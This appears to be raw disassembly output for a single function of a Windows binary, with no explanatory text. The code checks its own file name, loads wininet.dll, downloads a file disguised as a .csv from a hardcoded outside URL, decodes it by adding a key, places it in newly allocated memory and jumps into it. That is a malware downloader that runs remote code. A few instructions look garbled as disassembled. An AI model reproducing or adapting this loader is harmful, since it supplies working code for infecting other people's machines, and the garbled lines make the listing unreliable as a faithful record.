Function at 0x140002840
Capabilities:
Terminate process

Disassembly:
push r13
push r14
push r15
push rbp
sub rsp, 0x68
xor edx, edx
mov rcx, qword [str.KERNEL32.dll]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, dword [0x1400509fc]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
xor ecx, ecx
mov rdx, rbp
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r8d, r8d
xor eax, eax
movzx r9d, word [rbp + r8*2]
cmp r9d, 0x5c
je 0x140002ac5
test r9d, r9d
je 0x1400026c2
inc r8
jmp 0x1400026a8
lea rbp, [rbp + rax*2]
mov rax, qword [0x1400509e0]
cmp dword [rax], 0
je 0x140002734
movzx edx, word [rbp + 2]
xor r8d, r8d
test edx, edx
je 0x1400027dd
inc r8d
movzx r9d, word [rbp + r8*2 + 2]
test r9d, r9d
jne 0x1400026e2
movzx r8d, r8b
cmp r8b, byte [rax]
je 0x140002703
cmp r8b, byte [rax + 1]
jne 0x1400027d5
xor r9d, r9d
xor r8d, r8d
test edx, edx
je 0x140002724
movzx edx, word [rbp + r8*2 + 2]
add r9d, edx
inc r8d
movzx r10d, word [rbp + r8*2 + 2]
test r10d, r10d
jne 0x14000270d
cmp r9d, dword [rax + 4]
je 0x140002734
cmp r9d, dword [rax + 8]
jne 0x1400027d5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, dword [0x1400509fc]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
mov rcx, qword [str.wininet.dll]
xor edx, edx
xor r8d, r8d
mov rbp, r13
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov r15, rax
mov rdx, qword [0x140050a0c]
mov rcx, r15
stc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov rcx, r15
mov rdx, qword [0x1400509ec]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
mov rcx, r15
mov rdx, qword [str.InternetReadFile]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rsp
xor r8d, r8d
mov qword [rsp + 0x58], rax
mov edx, 1
add byte [rbp + 0x33], al
leave
xor eax, eax
mov r11, qword [rsp + 0x48]
mov rcx, qword [str.Clienthttp1]
mov dword [rsp + 0x60], eax
mov dword [r10 + 0x20], eax
call r11
mov rcx, rax
test rcx, rcx
jne 0x1400027ee
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp byte [rax], 0
jne 0x1400026f9
xor r9d, r9d
jmp 0x140002724
mov r11, rsp
xor r8d, r8d
mov rax, qword [rsp + 0x50]
xor r9d, r9d
mov rdx, qword [str.https:__scolaires.premiersplans.org_csv_profs_PAUBERTThierry_1215.csv]
mov r10d, dword [0x140050a00]
mov dword [r11 + 0x20], r10d
mov qword [r11 + 0x28], 0
call rax
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x1400027d5
mov rdx, r13
lea r9, [rsp + 0x60]
mov rax, qword [r9 - 8]
mov r8d, dword [0x1400509fc]
mov rcx, qword [r9 - 0x20]
call rax
test eax, eax
je 0x140002886
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], r12
lea r12, [rsp + 0x60]
mov rdi, qword [rsp + 0x40]
mov eax, dword [rsp + 0x60]
test eax, eax
jbe 0x14000287c
add rbp, rax
mov rcx, rdi
mov rdx, rbp
mov r9, r12
mov rax, qword [rsp + 0x58]
mov r8d, dword [0x1400509fc]
call rax
test eax, eax
jne 0x140002856
mov rdi, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
cmp rbp, r13
je 0x1400027d5
mov r8d, dword [r13]
xor eax, eax
mov r9, qword [str.46_DS.9]
mov r10d, dword [r9 + rax]
add r10d, r8d
mov dword [rax + rbp], r10d
add rax, 4
cmp rax, 0x14
jl 0x140002895
mov rcx, r14
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400027d5
xor ecx, ecx
mov r8d, 0x1000
mov edx, dword [0x1400509fc]
mov r9d, dword [0x14005098c]
call rax
mov r8, rax
mov r9d, dword [0x14005097c]
lea rcx, [r8 + 8]
mov r10, qword [0x140050998]
add r9, r10
and rcx, 0xf
mov r10d, dword [r9 + 4]
test ecx, ecx
je 0x14000292d
test cl, 3
jne 0x140002aba
neg ecx
xor edx, edx
add ecx, 0x10
shr ecx, 2
mov eax, ecx
mov ebp, dword [r9 + rdx*4 + 8]
add ebp, r10d
mov dword [r8 + rdx*4 + 8], ebp
inc rdx
cmp rdx, rax
jb 0x140002916
jmp 0x14000292f
xor eax, eax
mov edx, ecx
lea ecx, [rcx*4 + 8]
neg edx
add edx, 0xe
add rcx, r9
and edx, 0xf
neg edx
lea ebp, [rdx + 0x13fe]
mov r11d, ebp
test rcx, 0xf
je 0x1400029b6
movd xmm0, r10d
pshufd xmm0, xmm0, 0
nop word [rax + rax]
lea rcx, [r9 + rax*4 + 8]
movdqu xmm1, xmmword [rcx]
paddd xmm1, xmm0
movdqu xmmword [r8 + rax*4 + 8], xmm1
movdqu xmm2, xmmword [rcx + 0x10]
paddd xmm2, xmm0
movdqu xmmword [r8 + rax*4 + 0x18], xmm2
movdqu xmm3, xmmword [rcx + 0x20]
paddd xmm3, xmm0
movdqu xmmword [r8 + rax*4 + 0x28], xmm3
movdqu xmm4, xmmword [rcx + 0x30]
paddd xmm4, xmm0
movdqu xmmword [r8 + rax*4 + 0x38], xmm4
add rax, 0x10
cmp rax, r11
jb 0x140002967
jmp 0x140002a14
movd xmm0, r10d
pshufd xmm0, xmm0, 0
nop dword [rax]
lea rcx, [r9 + rax*4 + 8]
movdqu xmm1, xmmword [rcx]
paddd xmm1, xmm0
movdqu xmmword [r8 + rax*4 + 8], xmm1
movdqu xmm2, xmmword [rcx + 0x10]
paddd xmm2, xmm0
movdqu xmmword [r8 + rax*4 + 0x18], xmm2
movdqu xmm3, xmmword [rcx + 0x20]
paddd xmm3, xmm0
movdqu xmmword [r8 + rax*4 + 0x28], xmm3
movdqu xmm4, xmmword [rcx + 0x30]
paddd xmm4, xmm0
movdqu xmmword [r8 + rax*4 + 0x38], xmm4
add rax, 0x10
cmp rax, r11
jb 0x1400029c7
lea eax, [rdx + 0x13ff]
cmp eax, 0x13fe
ja 0x140002a69
mov ecx, ebp
neg ecx
add ecx, 0x13fe
cmp ecx, 4
jb 0x140002ab6
mov eax, ecx
xor r11d, r11d
and eax, 0xfffffffc
lea edx, [rdx*4 + 0x4ff8]
lea r13d, [rdx + r11*4]
add r11d, 4
movsxd r13, r13d
movdqu xmm1, xmmword [r13 + r9 + 8]
movq mm1, qword [rbp + rcx + 8]
paddd xmm1, xmm0
movdqu xmmword [r13 + r8 + 8], xmm1
cmp r11d, eax
jb 0x140002a43
cmp eax, ecx
jb 0x140002a93
mov eax, dword [0x140050a14]
mov dword [r8 + 8], eax
mov ebp, dword [r8 + 0xc]
add rbp, r8
lea rax, [0x140050a18]
mov edx, dword [rax]
add rbp, rdx
mov ecx, dword [rax]
add rcx, r8
call rbp
nop
jmp 0x1400027d5
lea edx, [rax*4]
inc eax
lea r11d, [rdx + rbp*4]
movsxd r11, r11d
mov r13d, dword [r11 + r9 + 8]
add r13d, r10d
mov dword [r11 + r8 + 8], r13d
cmp eax, ecx
jb 0x140002a93
jmp 0x140002a69
xor eax, eax
jmp 0x140002a65
xor ebp, ebp
mov ecx, 0x13fe
add byte [rbx], dh
shr bl, 0xa0
movsxd rax, r8d
jmp 0x1400026bd